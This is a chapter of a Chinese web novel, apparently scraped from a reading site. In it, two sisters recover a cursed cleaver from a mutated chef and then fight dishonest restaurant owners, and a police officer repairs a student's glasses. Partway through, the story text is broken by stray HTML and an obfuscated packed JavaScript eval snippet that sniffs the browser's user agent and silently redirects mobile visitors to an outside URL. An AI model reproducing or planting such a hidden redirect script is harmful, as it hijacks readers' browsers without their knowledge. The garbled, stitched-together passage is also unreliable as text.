110. 守法公民

作品:《退休返聘,诡怪圈天翻地覆

    有段时间,应宴觉得蝴蝶先生阴魂不散,还总是出现在刁钻的地方,让人措手不及。


    但很长时间没有见到这位,她以为对方“入土为安”了。


    至于诡问APP安不安,她不知道,也不在乎。


    可对方“诈尸”归来,还一来就伤了庄霁,又搞出种种事来,存在感无比强烈。


    想到什么,应宴抬头看向应盛,察觉到对方看向刀柄的目光诧异中裹着一丝熟悉,唇角抿成直线。


    蝴蝶先生的手伸得太长,想砍掉。


    自从菜刀重见天日,厨师长抽搐几下,彻底失去了呼吸。


    若有若无的音乐停止,耳边一片安静。


    被压在最下面的服务员手脚并用爬出来,油腻的脸灰白,看向俩女生的眼睛里带着更深的恐惧。


    十五分钟前,他躲得好好的,被生生拖出来,扔到外面当诱饵。


    尽管两人信誓旦旦保证他不会死,但他一个字都不相信。


    奈何武力不行,被揪着衣领一脚踹出来。


    能捡回条命,太不容易了!


    服务员只想着逃走,离两位煞星远远的。


    应宴的注意力在地面的尸体上,并没有关注服务员的离开。


    菜刀横在肥腻的脂肪里,有生命般缓缓蠕动,黏稠恶心。


    她戴上口袋里的手套,才握着刀柄,将菜刀抽了出来。


    厨师长的尸体,像扎破的气球,迅速瘪了下去。


    断断续续的钢琴声戛然而止。


    找到菜刀并不难,服务员给出的信息比较全面。


    厨师长不仅是厨师,还是老板,对这里非常熟悉。


    他异化后,却怎么也找不到菜刀。


    这只能说明,刀在身上,但他脑子不清醒,忘掉了。


    和早晨起来,睡得迷迷糊糊,戴着眼镜找眼镜是一个道理。


    但要是这么简单,厨师长也不用死了又活。


    应宴大胆推测一下,菜刀就藏在厨师长身体内。


    而且对方癫狂后,会亲手剖出来,大杀特杀。衣柜侧面的砍痕,佐证了这点。


    至于具体在哪,应宴并不能百分百确定。只能说大肚腩看着很像。


    不过,耳边的钢琴声,隐隐约约指向肚子,她就试了试。


    结果证实这一点。


    应宴木着脸,有一点点后悔音乐课没有好好听。


    她将发散的思维收回来,拎着菜刀,问道:“姐,你要吗?”


    应盛皱起眉,陷入纠结。这是妹妹给的,但菜刀全是鲜血……


    应宴瞬间意会到,把菜刀拎回去,还从用来绊倒厨师长的“麻绳”扯下件衣服,将菜刀包了起来。


    “我先拿着吧。”


    厨师长嘎掉之后,整个餐馆恢复正常。灯光熄灭,窗户透亮,铁门也打开了。


    外面的阳光照进来,满室明亮。只不过被破坏的物品,并没有复原。


    现在是上午九点多钟,等不及的食客换了地方。餐馆前面冷落下来。


    两人没有心思在一片狼藉里吃饭,就换了次一等的餐馆。


    应盛摸了一下脖颈处戴着的银白项链。激动褪去,浓浓的厌倦涌了上来。


    她只是想安安静静和妹妹吃顿饭,聊聊对方如今的生活。


    而不是打来打去,跑来跑去。


    这种厌倦感,音乐之都的市民经常会出现。


    当被种种规则限制住时,人们渴望自由和放纵。


    但当规则消失,法度崩坏,人们又为随之产生的混乱烦恼。


    应盛很快调整好心态,带着妹妹,来到另一家餐馆。


    这里干净整洁,清新怡人。窗户开着,凉风卷起盆栽的花香,幽幽吹拂过来。


    圆形的餐桌上摆放着两三道佳肴,色香味俱全。饭碗旁边的筷子,尖端镶着银边,低调奢华。


    应宴拿起筷子,尝了一口最近的菜。她没有咽下去,含在口腔里,细细品尝,面色古怪起来。


    左手则快速抽出纸巾,摊在桌面,将菜吐了出去。


    “怎么了?”应盛关切地问道。


    “地沟油,”应宴说完,觉得不太精确,又默默补充了一句,“这个味道,像是腐烂的动物尸体的脂肪熬炼出来,不排除人的可能。”


    黑裙女子啪的一声把筷子放下,彻底没了食欲。她沉着脸,让服务员将老板叫过来,一口气骂了半个小时。


    应宴还在那给她补充素材,“这个西蓝花炒肉里的肉,应该是死了好几天的病猪,不新鲜。那个青椒丝,上面的农药还没洗干净……”


    这个餐馆的老板并不兼任厨师长。


    她是个三十来岁的女子,穿着改良汉服,手拿团扇抿唇一笑,有种岁月静好的味道。


    然后被挑剔的客人气成了岁月暴躁。


    老板僵着一张笑脸,职业素养缓缓滑向零的前一刻,余光瞥见椅子上半露的菜刀。


    上面的血迹未干,刀柄的蝴蝶熠熠生辉。


    她一个激灵清醒过来,扬起最和善的假笑,祸水东引道:“亲爱的顾客,你们说的太有道理了!这样吧,这单我给免了,再给你们推荐一家更健康的餐馆。”


    都说同行是冤家,拿冤家挡一挡灾,再合适不过!


    应盛骂完后,也不想在这吃了,顺水推舟从老板给出的台阶下来。


    “看在你态度诚恳的份上,这次就算了,下不为例!你说的是哪家?”


    应宴欲言又止,对饭菜不抱希望。


    老板的假笑真切几分,空前热情地将俩瘟神送走了。


    和她不对付的餐馆老板一脸懵逼,抓了抓脑后的小揪揪,不明白死对头为什么要“赶客”。


    就算不好服务,直接放倒做成臊子不就行了!


    抱着这种随意的心态,当客人开始挑剔时,非主流小伙老板拿出了砍刀,露出雪白牙齿。


    然后被姐妹俩联手混合双打。


    被揍前,老板染成黄色的头发在脑后扎了几个小揪揪,脖子上挂着纯金的骷髅项链,身上穿着非主流的黑色衬衫和破洞裤。


    被揍后,老板辛苦扎起来的黄发全都散了,一张脸肿成猪头,骷髅项链被踩扁,非主流衣服破破烂烂,更“潮”了。


    他浑身疼痛,总算懂了死对头假笑下的心酸和疲惫。


    共情归共情,他还是给对方记了一笔。好啊,有事没事捅同行两刀,人干事!


    算账日后可以慢慢算,这两位大佬,得想法子送走了。


    老板脑筋一转,拉了兄弟挡刀。不过,他这次把话说的清清楚楚,生怕对方挨揍。


    但偷工减料捞油水习惯了,很难改过来。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690549|188682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    应宴嗅觉灵敏,一有点瑕疵,就吃出来了。


    至于忍气吞声,将就着吃完,不可能的。


    两人一连换了四五家餐馆,导致好几家仇冤加深,兄弟反目成仇……战绩辉煌。


    好不容易解决早餐,走出餐馆后,应盛道:“辛苦你了。”


    应宴垂下眼眸,心中微暖。


    她这种能清楚辨认出各种食材的能力,不是先天的,而是后天培养的。


    怪谈里存在被污染的食物,外表和正常食物没有区别,但吃了之后会丧命。


    辨认各种食材,牢记用餐禁忌,可以提高存活率。


    但现实中,这点就很影响了。


    应宴出去吃饭,比起享受美食,更多的时间,在忍耐偶尔出现的“瑕疵”。


    实在忍不了,就默默举报,一不小心就闹上新闻。


    这些都不必提,应宴微笑道:“还好,现实要好太多。”


    应盛相信了,“算了,我们还是想想进警署吧,这里的饭菜快受不了了!”


    *


    警署,


    身着制服,袖口半挽的青年时差还没有完全倒过来,眼神还有些茫,就被迫转到工作模式。


    冰冷的湿巾贴在脸颊,庄霁强行清醒过来,看向面前的女生,是很卷的高三生同事。


    她穿着宽大的黑色制服,黑发蓬蓬地散在耳侧,樱桃发夹别得歪歪扭扭。


    一只手举着“墨镜”,眼底是苍白的焦虑。


    明湛拧起秀气的眉毛,神色紧绷,视线无意识瞟向桌上的书,不自觉地咬着下唇。


    她的手指反复摩挲衣角,连说话时,都笼罩着浓浓的焦虑。


    “能不能帮我修一修眼镜?我戴着它没法做题了!”


    意料之外,情理之中。


    由于家里有个妹妹的缘故,爱屋及乌,庄霁对小姑娘的容忍度,要远超愚蠢的成年男人。


    他接过眼镜,认真检查起来。


    距离近了,眼镜褪去“墨镜”的外壳,显出真面目来,是镜片表面覆盖着一层薄薄的黑色物质。


    他本能拿湿巾擦了擦,纸巾洁白,一点污垢都没沾上。


    黑色物质不好处理。


    庄霁脑海里浮现出这么一个念头,又看到小姑娘满脸都是“耽误的时间别人要超过我了”的焦虑。


    他搁下墨镜,说道:“算了,警署里有设备,我给你先配副备用眼镜。”


    闻言,焉焉的高三生打起精神,从焦虑中挣脱出来。


    她摸着樱桃发夹,认真道谢。


    配眼镜的过程重复枯燥,有些工具由于现代灯泡的缺乏,变得麻烦起来。


    庄霁从零零碎碎的道具找了很久,才找到替代的零件。


    幸亏不当人的诡问APP闲着没事,会发一些装着小物品的礼盒,抢到也没什么大用,但百分百能带进“域”。


    像是手电筒,小包湿巾,自带清洁功能的毛巾等等。


    许是感觉气氛太沉闷,庄霁看到又要陷入焦虑的小姑娘,想起妹妹,说道:“放轻松,高考只是一道坎,现在觉得万般难,但跨过去就天朗气清了。”


    高三生“嗯”了一声,说道:“道理我都懂,就是…焦虑,我是孤儿,如果考不上,真不知道未来的出路在哪里!”


    青年的手,微微一顿。